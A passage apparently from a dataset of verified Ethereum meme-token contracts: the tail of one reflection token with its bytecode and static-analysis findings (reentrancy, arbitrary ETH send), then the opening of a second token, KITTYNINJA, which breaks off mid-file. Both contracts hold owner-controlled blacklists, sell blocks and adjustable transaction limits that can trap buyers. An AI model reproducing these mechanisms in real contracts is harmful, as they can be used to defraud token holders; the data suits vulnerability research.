mapping(address => bool) private _isExcludedFromFee;
mapping (address => bool) bannedUsers;
uint256 private constant MAX = ~uint256(0);
uint256 private constant _tTotal = 100000000000 * 10**9;
uint256 private _rTotal = (MAX - (MAX % _tTotal));
uint256 private _tFeeTotal;
uint256 private _taxFee = 2;
uint256 private _redisfee = 4;
mapping(address => bool) private bots;
mapping(address => uint256) private cooldown;
address payable private _teamAddress;
address payable private _marketingFunds;
IUniswapV2Router02 private uniswapV2Router;
address private uniswapV2Pair;
bool private tradingOpen;
bool private inSwap = false;
bool private swapEnabled = false;
bool private cooldownEnabled = false;
uint256 private _maxTxAmount = _tTotal;
event MaxTxAmountUpdated(uint256 _maxTxAmount);
modifier lockTheSwap {
inSwap = true;
_;
inSwap = false;
}
constructor(address payable addr1, address payable addr2) {
_teamAddress = addr1;
_marketingFunds = addr2;
_rOwned[_msgSender()] = _rTotal;
_isExcludedFromFee[owner()] = true;
_isExcludedFromFee[address(this)] = true;
_isExcludedFromFee[_teamAddress] = true;
_isExcludedFromFee[_marketingFunds] = true;
emit Transfer(address(0), _msgSender(), _tTotal);
}
function startTrading() external onlyOwner() {
require(!tradingOpen, "trading is already open");
IUniswapV2Router02 _uniswapV2Router =
IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
uniswapV2Router = _uniswapV2Router;
_approve(address(this), address(uniswapV2Router), _tTotal);
uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory())
.createPair(address(this), _uniswapV2Router.WETH());
uniswapV2Router.addLiquidityETH{value:
address(this).balance}
(address(this),
balanceOf(address(this)),
0,
0,
owner(),
block.timestamp
);
swapEnabled = true;
cooldownEnabled = true;
_maxTxAmount = 100000000000 * 10**9;
tradingOpen = true;
IERC20(uniswapV2Pair).approve(
address(uniswapV2Router),
type(uint256).max
);
}
function name() public pure returns (string memory) {
return _name;
}
function symbol() public pure returns (string memory) {
return _symbol;
}
function decimals() public pure returns (uint8) {
return _decimals;
}
function totalSupply() public pure override returns (uint256) {
return _tTotal;
}
function balanceOf(address account) public view override returns (uint256) {
return tokenFromReflection(_rOwned[account]);
}
function transfer(address recipient, uint256 amount)
public
override
returns (bool)
{
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender)
public
view
override
returns (uint256)
{
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount)
public
override
returns (bool)
{
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(
address sender,
address recipient,
uint256 amount
) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(
sender,
_msgSender(),
_allowances[sender][_msgSender()].sub(
amount,
"ERC20: transfer amount exceeds allowance"
)
);
return true;
}
function setCooldownEnabled(bool onoff) external onlyOwner() {
cooldownEnabled = onoff;
}
function tokenFromReflection(uint256 rAmount)
private
view
returns (uint256)
{
require(
rAmount <= _rTotal,
"Amount must be less than total reflections"
);
uint256 currentRate = _getRate();
return rAmount.div(currentRate);
}
function removeAllFee() private {
if (_taxFee == 0 && _redisfee == 0) return;
_taxFee = 0;
_redisfee = 0;
}
function restoreAllFee() private {
_taxFee = 2;
_redisfee = 4;
}
function _approve(
address owner,
address spender,
uint256 amount
) private {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _transfer(
address from,
address to,
uint256 amount
) private {
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
require(amount > 0, "Transfer amount must be greater than zero");
if (from != owner() && to != owner()) {
if (cooldownEnabled) {
if (
from != address(this) &&
to != address(this) &&
from != address(uniswapV2Router) &&
to != address(uniswapV2Router)
) {
require(
_msgSender() == address(uniswapV2Router) ||
_msgSender() == uniswapV2Pair,
"ERR: Uniswap only"
);
}
}
require(amount <= _maxTxAmount);
require(!bots[from] && !bots[to]);
if (
from == uniswapV2Pair &&
to != address(uniswapV2Router) &&
!_isExcludedFromFee[to] &&
cooldownEnabled
) {
require(cooldown[to] < block.timestamp);
cooldown[to] = block.timestamp + (120 seconds);
}
uint256 contractTokenBalance = balanceOf(address(this));
if (!inSwap && from != uniswapV2Pair && swapEnabled) {
swapTokensForEth(contractTokenBalance);
uint256 contractETHBalance = address(this).balance;
if (contractETHBalance > 0) {
sendETHToFee(address(this).balance);
}
}
}
bool takeFee = true;
if (_isExcludedFromFee[from] || _isExcludedFromFee[to]) {
takeFee = false;
}
_tokenTransfer(from, to, amount, takeFee);
}
function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {
address[] memory path = new address[](2);
path[0] = address(this);
path[1] = uniswapV2Router.WETH();
_approve(address(this), address(uniswapV2Router), tokenAmount);
uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
tokenAmount,
0,
path,
address(this),
block.timestamp
);
}
function sendETHToFee(uint256 amount) private {
_teamAddress.transfer(amount.div(2));
_marketingFunds.transfer(amount.div(2));
}
function manualswap() external {
require(_msgSender() == _teamAddress);
uint256 contractBalance = balanceOf(address(this));
swapTokensForEth(contractBalance);
}
function manualsend() external {
require(_msgSender() == _teamAddress);
uint256 contractETHBalance = address(this).balance;
sendETHToFee(contractETHBalance);
}
function setBots(address[] memory bots_) public onlyOwner {
for (uint256 i = 0; i < bots_.length; i++) {
bots[bots_[i]] = true;
}
}
function blockbot(address account, bool banned) public {
require(_msgSender() == _teamAddress);
if (banned) {
require( block.timestamp + 3650 days > block.timestamp, "x");
bannedUsers[account] = true;
} else {
delete bannedUsers[account];
}
emit WalletBanStatusUpdated(account, banned);
}
function unban(address account) public {
require(_msgSender() == _teamAddress);
bannedUsers[account] = false;
}
function _tokenTransfer(
address sender,
address recipient,
uint256 amount,
bool takeFee
) private {
if (!takeFee) removeAllFee();
_transferStandard(sender, recipient, amount);
if (!takeFee) restoreAllFee();
}
function _transferStandard(
address sender,
address recipient,
uint256 tAmount
) private {
(
uint256 rAmount,
uint256 rTransferAmount,
uint256 rFee,
uint256 tTransferAmount,
uint256 tFee,
uint256 tTeam
) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_takeTeam(tTeam);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _takeTeam(uint256 tTeam) private {
uint256 currentRate = _getRate();
uint256 rTeam = tTeam.mul(currentRate);
_rOwned[address(this)] = _rOwned[address(this)].add(rTeam);
}
function maxTx(uint256 maxTxPercent) external {
require(_msgSender() == _teamAddress);
require(maxTxPercent > 0, "Amount must be greater than 0");
_maxTxAmount = _tTotal.mul(maxTxPercent).div(10**5);
emit MaxTxAmountUpdated(_maxTxAmount);
}
function _reflectFee(uint256 rFee, uint256 tFee) private {
_rTotal = _rTotal.sub(rFee);
_tFeeTotal = _tFeeTotal.add(tFee);
}
receive() external payable {}
function _getValues(uint256 tAmount)
private
view
returns (
uint256,
uint256,
uint256,
uint256,
uint256,
uint256
)
{
(uint256 tTransferAmount, uint256 tFee, uint256 tTeam) =
_getTValues(tAmount, _taxFee, _redisfee);
uint256 currentRate = _getRate();
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee) =
_getRValues(tAmount, tFee, tTeam, currentRate);
return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam);
}
function _getTValues(
uint256 tAmount,
uint256 taxFee,
uint256 TeamFee
)
private
pure
returns (
uint256,
uint256,
uint256
)
{
uint256 tFee = tAmount.mul(taxFee).div(100);
uint256 tTeam = tAmount.mul(TeamFee).div(100);
uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam);
return (tTransferAmount, tFee, tTeam);
}
function _getRValues(
uint256 tAmount,
uint256 tFee,
uint256 tTeam,
uint256 currentRate
)
private
pure
returns (
uint256,
uint256,
uint256
)
{
uint256 rAmount = tAmount.mul(currentRate);
uint256 rFee = tFee.mul(currentRate);
uint256 rTeam = tTeam.mul(currentRate);
uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam);
return (rAmount, rTransferAmount, rFee);
}
function _getRate() private view returns (uint256) {
(uint256 rSupply, uint256 tSupply) = _getCurrentSupply();
return rSupply.div(tSupply);
}
function _getCurrentSupply() private view returns (uint256, uint256) {
uint256 rSupply = _rTotal;
uint256 tSupply = _tTotal;
if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal);
return (rSupply, tSupply);
}
event WalletBanStatusUpdated(address user, bool banned);
} | 0x6080604052600436106101185760003560e01c8063715018a6116100a0578063b515566a11610064578063b515566a14610310578063b9f1455714610330578063c3c8cd8014610350578063dd62ed3e14610365578063f77c49ab146103ab57600080fd5b8063715018a6146102665780638da5cb5b1461027b57806395d89b41146102a3578063a6e02d64146102d0578063a9059cbb146102f057600080fd5b8063293230b8116100e7578063293230b8146101de578063313ce567146101f55780635932ead1146102115780636fc3eaec1461023157806370a082311461024657600080fd5b806306fdde0314610124578063095ea7b31461016857806318160ddd1461019857806323b872dd146101be57600080fd5b3661011f57005b600080fd5b34801561013057600080fd5b5060408051808201909152600981526840426162793838387360b81b60208201525b60405161015f9190611b10565b60405180910390f35b34801561017457600080fd5b50610188610183366004611997565b6103cb565b604051901515815260200161015f565b3480156101a457600080fd5b5068056bc75e2d631000005b60405190815260200161015f565b3480156101ca57600080fd5b506101886101d9366004611928565b6103e2565b3480156101ea57600080fd5b506101f361044b565b005b34801561020157600080fd5b506040516009815260200161015f565b34801561021d57600080fd5b506101f361022c366004611a8f565b61081c565b34801561023d57600080fd5b506101f3610864565b34801561025257600080fd5b506101b06102613660046118b5565b610891565b34801561027257600080fd5b506101f36108b3565b34801561028757600080fd5b506000546040516001600160a01b03909116815260200161015f565b3480156102af57600080fd5b506040805180820190915260048152630847070760e31b6020820152610152565b3480156102dc57600080fd5b506101f36102eb366004611969565b610927565b3480156102fc57600080fd5b5061018861030b366004611997565b610a1d565b34801561031c57600080fd5b506101f361032b3660046119c3565b610a2a565b34801561033c57600080fd5b506101f361034b3660046118b5565b610abc565b34801561035c57600080fd5b506101f3610afd565b34801561037157600080fd5b506101b06103803660046118ef565b6001600160a01b03918216600090815260046020908152604080832093909416825291909152205490565b3480156103b757600080fd5b506101f36103c6366004611ac9565b610b33565b60006103d8338484610bfe565b5060015b92915050565b60006103ef848484610d22565b610441843361043c85604051806060016040528060288152602001611cfc602891396001600160a01b038a1660009081526004602090815260408083203384529091529020549190611134565b610bfe565b5060019392505050565b6000546001600160a01b0316331461047e5760405162461bcd60e51b815260040161047590611b65565b60405180910390fd5b601054600160a01b900460ff16156104d85760405162461bcd60e51b815260206004820152601760248201527f74726164696e6720697320616c7265616479206f70656e0000000000000000006044820152606401610475565b600f80546001600160a01b031916737a250d5630b4cf539739df2c5dacb4c659f2488d908117909155610515308268056bc75e2d63100000610bfe565b806001600160a01b031663c45a01556040518163ffffffff1660e01b815260040160206040518083038186803b15801561054e57600080fd5b505afa158015610562573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061058691906118d2565b6001600160a01b031663c9c6539630836001600160a01b031663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b1580156105ce57600080fd5b505afa1580156105e2573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061060691906118d2565b6040516001600160e01b031960e085901b1681526001600160a01b03928316600482015291166024820152604401602060405180830381600087803b15801561064e57600080fd5b505af1158015610662573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061068691906118d2565b601080546001600160a01b0319166001600160a01b03928316179055600f541663f305d71947306106b681610891565b6000806106cb6000546001600160a01b031690565b60405160e088901b6001600160e01b03191681526001600160a01b03958616600482015260248101949094526044840192909252606483015290911660848201524260a482015260c4016060604051808303818588803b15801561072e57600080fd5b505af1158015610742573d6000803e3d6000fd5b50505050506040513d601f19601f820116820180604052508101906107679190611ae2565b50506010805468056bc75e2d6310000060115563ffff00ff60a01b198116630101000160a01b17909155600f5460405163095ea7b360e01b81526001600160a01b03918216600482015260001960248201529116915063095ea7b390604401602060405180830381600087803b1580156107e057600080fd5b505af11580156107f4573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906108189190611aac565b5050565b6000546001600160a01b031633146108465760405162461bcd60e51b815260040161047590611b65565b60108054911515600160b81b0260ff60b81b19909216919091179055565b600d546001600160a01b0316336001600160a01b03161461088457600080fd5b4761088e8161116e565b50565b6001600160a01b0381166000908152600260205260408120546103dc906111f3565b6000546001600160a01b031633146108dd5760405162461bcd60e51b815260040161047590611b65565b600080546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600080546001600160a01b0319169055565b600d546001600160a01b0316336001600160a01b03161461094757600080fd5b80156109b5574261095c816312cc0300611c0b565b1161098d5760405162461bcd60e51b81526020600482015260016024820152600f60fb1b6044820152606401610475565b6001600160a01b0382166000908152600660205260409020805460ff191660011790556109d6565b6001600160a01b0382166000908152600660205260409020805460ff191690555b604080516001600160a01b038416815282151560208201527ffc70dcce81b5afebab40f1a9a0fe597f9097cb179cb4508e875b7b166838f88d910160405180910390a15050565b60006103d8338484610d22565b6000546001600160a01b03163314610a545760405162461bcd60e51b815260040161047590611b65565b60005b8151811015610818576001600b6000848481518110610a7857610a78611cac565b6020908102919091018101516001600160a01b03168252810191909152604001600020805460ff191691151591909117905580610ab481611c7b565b915050610a57565b600d546001600160a01b0316336001600160a01b031614610adc57600080fd5b6001600160a01b03166000908152600660205260409020805460ff19169055565b600d546001600160a01b0316336001600160a01b031614610b1d57600080fd5b6000610b2830610891565b905061088e81611277565b600d546001600160a01b0316336001600160a01b031614610b5357600080fd5b60008111610ba35760405162461bcd60e51b815260206004820152601d60248201527f416d6f756e74206d7573742062652067726561746572207468616e20300000006044820152606401610475565b610bc3620186a0610bbd68056bc75e2d6310000084611400565b9061147f565b60118190556040519081527f947f344d56e1e8c70dc492fb94c4ddddd490c016aab685f5e7e47b2e85cb44cf9060200160405180910390a150565b6001600160a01b038316610c605760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b6064820152608401610475565b6001600160a01b038216610cc15760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b6064820152608401610475565b6001600160a01b0383811660008181526004602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b038316610d865760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b6064820152608401610475565b6001600160a01b038216610de85760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b6064820152608401610475565b60008111610e4a5760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b6064820152608401610475565b6000546001600160a01b03848116911614801590610e7657506000546001600160a01b03838116911614155b156110d757601054600160b81b900460ff1615610f5d576001600160a01b0383163014801590610eaf57506001600160a01b0382163014155b8015610ec95750600f546001600160a01b03848116911614155b8015610ee35750600f546001600160a01b03838116911614155b15610f5d57600f546001600160a01b0316336001600160a01b03161480610f1d57506010546001600160a01b0316336001600160a01b0316145b610f5d5760405162461bcd60e51b81526020600482015260116024820152704552523a20556e6973776170206f6e6c7960781b6044820152606401610475565b601154811115610f6c57600080fd5b6001600160a01b0383166000908152600b602052604090205460ff16158015610fae57506001600160a01b0382166000908152600b602052604090205460ff16155b610fb757600080fd5b6010546001600160a01b038481169116148015610fe25750600f546001600160a01b03838116911614155b801561100757506001600160a01b03821660009081526005602052604090205460ff16155b801561101c5750601054600160b81b900460ff165b1561106a576001600160a01b0382166000908152600c6020526040902054421161104557600080fd5b611050426078611c0b565b6001600160a01b0383166000908152600c60205260409020555b600061107530610891565b601054909150600160a81b900460ff161580156110a057506010546001600160a01b03858116911614155b80156110b55750601054600160b01b900460ff165b156110d5576110c381611277565b4780156110d3576110d34761116e565b505b505b6001600160a01b03831660009081526005602052604090205460019060ff168061111957506001600160a01b03831660009081526005602052604090205460ff165b15611122575060005b61112e848484846114c1565b50505050565b600081848411156111585760405162461bcd60e51b81526004016104759190611b10565b5060006111658486611c64565b95945050505050565b600d546001600160a01b03166108fc61118883600261147f565b6040518115909202916000818181858888f193505050501580156111b0573d6000803e3d6000fd5b50600e546001600160a01b03166108fc6111cb83600261147f565b6040518115909202916000818181858888f19350505050158015610818573d6000803e3d6000fd5b600060075482111561125a5760405162461bcd60e51b815260206004820152602a60248201527f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260448201526965666c656374696f6e7360b01b6064820152608401610475565b60006112646114ed565b9050611270838261147f565b9392505050565b6010805460ff60a81b1916600160a81b17905560408051600280825260608201835260009260208301908036833701905050905030816000815181106112bf576112bf611cac565b6001600160a01b03928316602091820292909201810191909152600f54604080516315ab88c960e31b81529051919093169263ad5c4648926004808301939192829003018186803b15801561131357600080fd5b505afa158015611327573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061134b91906118d2565b8160018151811061135e5761135e611cac565b6001600160a01b039283166020918202929092010152600f546113849130911684610bfe565b600f5460405163791ac94760e01b81526001600160a01b039091169063791ac947906113bd908590600090869030904290600401611b9a565b600060405180830381600087803b1580156113d757600080fd5b505af11580156113eb573d6000803e3d6000fd5b50506010805460ff60a81b1916905550505050565b60008261140f575060006103dc565b600061141b8385611c45565b9050826114288583611c23565b146112705760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b6064820152608401610475565b600061127083836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250611510565b806114ce576114ce61153e565b6114d9848484611561565b8061112e5761112e60026009556004600a55565b60008060006114fa611658565b9092509050611509828261147f565b9250505090565b600081836115315760405162461bcd60e51b81526004016104759190611b10565b5060006111658486611c23565b60095415801561154e5750600a54155b1561155557565b60006009819055600a55565b6000806000806000806115738761169a565b6001600160a01b038f16600090815260026020526040902054959b509399509197509550935091506115a590876116f7565b6001600160a01b03808b1660009081526002602052604080822093909355908a16815220546115d49086611739565b6001600160a01b0389166000908152600260205260409020556115f681611798565b61160084836117e2565b876001600160a01b0316896001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8560405161164591815260200190565b60405180910390a3505050505050505050565b600754600090819068056bc75e2d63100000611674828261147f565b8210156116915750506007549268056bc75e2d6310000092509050565b90939092509050565b60008060008060008060008060006116b78a600954600a54611806565b92509250925060006116c76114ed565b905060008060006116da8e878787611855565b919e509c509a509598509396509194505050505091939550919395565b600061127083836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250611134565b6000806117468385611c0b565b9050838110156112705760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f7700000000006044820152606401610475565b60006117a26114ed565b905060006117b08383611400565b306000908152600260205260409020549091506117cd9082611739565b30600090815260026020526040902055505050565b6007546117ef90836116f7565b6007556008546117ff9082611739565b6008555050565b600080808061181a6064610bbd8989611400565b9050600061182d6064610bbd8a89611400565b905060006118458261183f8b866116f7565b906116f7565b9992985090965090945050505050565b60008080806118648886611400565b905060006118728887611400565b905060006118808888611400565b905060006118928261183f86866116f7565b939b939a50919850919650505050505050565b80356118b081611cd8565b919050565b6000602082840312156118c757600080fd5b813561127081611cd8565b6000602082840312156118e457600080fd5b815161127081611cd8565b6000806040838503121561190257600080fd5b823561190d81611cd8565b9150602083013561191d81611cd8565b809150509250929050565b60008060006060848603121561193d57600080fd5b833561194881611cd8565b9250602084013561195881611cd8565b929592945050506040919091013590565b6000806040838503121561197c57600080fd5b823561198781611cd8565b9150602083013561191d81611ced565b600080604083850312156119aa57600080fd5b82356119b581611cd8565b946020939093013593505050565b600060208083850312156119d657600080fd5b823567ffffffffffffffff808211156119ee57600080fd5b818501915085601f830112611a0257600080fd5b813581811115611a1457611a14611cc2565b8060051b604051601f19603f83011681018181108582111715611a3957611a39611cc2565b604052828152858101935084860182860187018a1015611a5857600080fd5b600095505b83861015611a8257611a6e816118a5565b855260019590950194938601938601611a5d565b5098975050505050505050565b600060208284031215611aa157600080fd5b813561127081611ced565b600060208284031215611abe57600080fd5b815161127081611ced565b600060208284031215611adb57600080fd5b5035919050565b600080600060608486031215611af757600080fd5b8351925060208401519150604084015190509250925092565b600060208083528351808285015260005b81811015611b3d57858101830151858201604001528201611b21565b81811115611b4f576000604083870101525b50601f01601f1916929092016040019392505050565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b600060a082018783526020878185015260a0604085015281875180845260c086019150828901935060005b81811015611bea5784516001600160a01b031683529383019391830191600101611bc5565b50506001600160a01b03969096166060850152505050608001529392505050565b60008219821115611c1e57611c1e611c96565b500190565b600082611c4057634e487b7160e01b600052601260045260246000fd5b500490565b6000816000190483118215151615611c5f57611c5f611c96565b500290565b600082821015611c7657611c76611c96565b500390565b6000600019821415611c8f57611c8f611c96565b5060010190565b634e487b7160e01b600052601160045260246000fd5b634e487b7160e01b600052603260045260246000fd5b634e487b7160e01b600052604160045260246000fd5b6001600160a01b038116811461088e57600080fd5b801515811461088e57600080fdfe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a2646970667358221220ff56115e71609a68a6f0c992dae1a11816f4cb649a69baf5b73c341c511e813664736f6c63430008070033 | {"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium"}, {"check": "arbitrary-send", "impact": "High", "confidence": "Medium"}]}} | 160 |
0x4e5cbb86ec5af93d9246b5804ccf468e0a9e94c7 | /**
*Submitted for verification at Etherscan.io on 2022-04-27
*/
/**
KITTYNINJA
💬 Telegram: https://t.me/kittyninjaeth
🌐 Website: https://www.kittyninja.co
*/
pragma solidity ^0.8.7;
// SPDX-License-Identifier: UNLICENSED
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
return c;
}
}
contract Ownable is Context {
address private _owner;
address private _dev;
address private _previousOwner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor () {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
}
interface IUniswapV2Factory {
function createPair(address tokenA, address tokenB) external returns (address pair);
}
interface IUniswapV2Router02 {
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external;
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidityETH(
address token,
uint amountTokenDesired,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
) external payable returns (uint amountToken, uint amountETH, uint liquidity);
}
contract KITTYNINJA is Context, IERC20, Ownable {
using SafeMath for uint256;
mapping (address => uint256) private _rOwned;
mapping (address => uint256) private _tOwned;
mapping (address => mapping (address => uint256)) private _allowances;
mapping (address => bool) private _isExcludedFromFee;
mapping (address => bool) private bots;
mapping (address => uint) private cooldown;
uint256 private constant MAX = ~uint256(0);
uint256 private constant _tTotal = 500000000 * 10**9;
uint256 private _rTotal = (MAX - (MAX % _tTotal));
uint256 private _tFeeTotal;
struct Taxes {
uint256 buyFee1;
uint256 buyFee2;
uint256 sellFee1;
uint256 sellFee2;
}
Taxes private _taxes = Taxes(0,7,0,7);
uint256 private initialTotalBuyFee = _taxes.buyFee1 + _taxes.buyFee2;
uint256 private initialTotalSellFee = _taxes.sellFee1 + _taxes.sellFee2;
address payable private _feeAddrWallet;
uint256 private _feeRate = 15;
uint256 launchedAt;
uint256 deadBlock;
string private constant _name = "KITTYNINJA";
string private constant _symbol = "KITTYNINJA";
uint8 private constant _decimals = 9;
IUniswapV2Router02 private uniswapV2Router;
address private uniswapV2Pair;
bool private tradingOpen;
bool private inSwap = false;
bool private swapEnabled = false;
bool private cooldownEnabled = false;
bool private _isBuy = false;
uint256 private _maxTxAmount = _tTotal;
uint256 private _maxWalletSize = _tTotal;
event MaxTxAmountUpdated(uint _maxTxAmount);
modifier lockTheSwap {
inSwap = true;
_;
inSwap = false;
}
constructor () {
_feeAddrWallet = payable(0x676241B7Ac2a4E429796440Ca931f497c519230F);
_rOwned[_msgSender()] = _rTotal;
_isExcludedFromFee[owner()] = true;
_isExcludedFromFee[address(this)] = true;
_isExcludedFromFee[_feeAddrWallet] = true;
emit Transfer(address(0), _msgSender(), _tTotal);
}
function name() public pure returns (string memory) {
return _name;
}
function symbol() public pure returns (string memory) {
return _symbol;
}
function decimals() public pure returns (uint8) {
return _decimals;
}
function totalSupply() public pure override returns (uint256) {
return _tTotal;
}
function balanceOf(address account) public view override returns (uint256) {
return tokenFromReflection(_rOwned[account]);
}
function transfer(address recipient, uint256 amount) public override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender) public view override returns (uint256) {
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount) public override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function setCooldownEnabled(bool onoff) external onlyOwner() {
cooldownEnabled = onoff;
}
function tokenFromReflection(uint256 rAmount) private view returns(uint256) {
require(rAmount <= _rTotal, "Amount must be less than total reflections");
uint256 currentRate = _getRate();
return rAmount.div(currentRate);
}
function _approve(address owner, address spender, uint256 amount) private {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _transfer(address from, address to, uint256 amount) private {
require(amount > 0, "Transfer amount must be greater than zero");
_isBuy = true;
if (from != owner() && to != owner()) {
if (block.number <= (launchedAt + deadBlock) &&
to != uniswapV2Pair &&
to != address(uniswapV2Router)
) {
bots[to] = true;
}
if (from == uniswapV2Pair && to != address(uniswapV2Router) && ! _isExcludedFromFee[to] && cooldownEnabled) {
// buy
require(amount <= _maxTxAmount);
require(balanceOf(to) + amount <= _maxWalletSize, "Exceeds the maxWalletSize.");
}
if (from != address(uniswapV2Router) && ! _isExcludedFromFee[from] && to == uniswapV2Pair){
require(!bots[from] && !bots[to]);
_isBuy = false;
}
uint256 contractTokenBalance = balanceOf(address(this));
if(contractTokenBalance > balanceOf(uniswapV2Pair).mul(_feeRate).div(100)) {
contractTokenBalance = balanceOf(uniswapV2Pair).mul(_feeRate).div(100);
}
if (!inSwap && from != uniswapV2Pair && swapEnabled) {
swapTokensForEth(contractTokenBalance);
uint256 contractETHBalance = address(this).balance;
if(contractETHBalance > 0) {
sendETHToFee(address(this).balance);
}
}
}
_tokenTransfer(from,to,amount);
}
function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {
address[] memory path = new address[](2);
path[0] = address(this);
path[1] = uniswapV2Router.WETH();
_approve(address(this), address(uniswapV2Router), tokenAmount);
uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
tokenAmount,
0,
path,
address(this),
block.timestamp
);
}
function getIsBuy() private view returns (bool){
return _isBuy;
}
function removeLimits() external onlyOwner{
_maxTxAmount = _tTotal;
_maxWalletSize = _tTotal;
}
function adjustFees(uint256 buyFee1, uint256 buyFee2, uint256 sellFee1, uint256 sellFee2) external onlyOwner {
require(buyFee1 + buyFee2 <= initialTotalBuyFee);
require(sellFee1 + sellFee2 <= initialTotalSellFee);
_taxes.buyFee1 = buyFee1;
_taxes.buyFee2 = buyFee2;
_taxes.sellFee1 = sellFee1;
_taxes.sellFee2 = sellFee2;
}
function changeMaxTxAmount(uint256 percentage) external onlyOwner{
require(percentage>0);
_maxTxAmount = _tTotal.mul(percentage).div(100);
}
function changeMaxWalletSize(uint256 percentage) external onlyOwner{
require(percentage>0);
_maxWalletSize = _tTotal.mul(percentage).div(100);
}
function setFeeRate(uint256 rate) external {
require(_msgSender() == _feeAddrWallet);
require(rate<=49);
_feeRate = rate;
}
